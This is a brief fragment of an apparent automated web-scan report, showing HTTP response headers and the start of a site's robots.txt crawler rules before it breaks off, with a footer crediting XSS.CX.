Last-Modified: Thu, 14 Apr 2011 21:22:12 GMT
Accept-Ranges: bytes
Content-Length: 660
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:44 GMT
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=88
Connection: Keep-Alive
Content-Type: text/plain
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b345525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:44 GMT;path=/

User-agent: Yahoo! Slurp
User-agent: Googlebot
User-agent: msnbot
Allow: /browse/*
Disallow: /share
Disallow: /search
Disallow: /*?
Disallow: /*/Web-Search
Disallow: /tools
Disallow: /contextlinks
Dis
...[SNIP]...

Report generated by XSS.CX at Sun May 15 15:05:29 CDT 2011.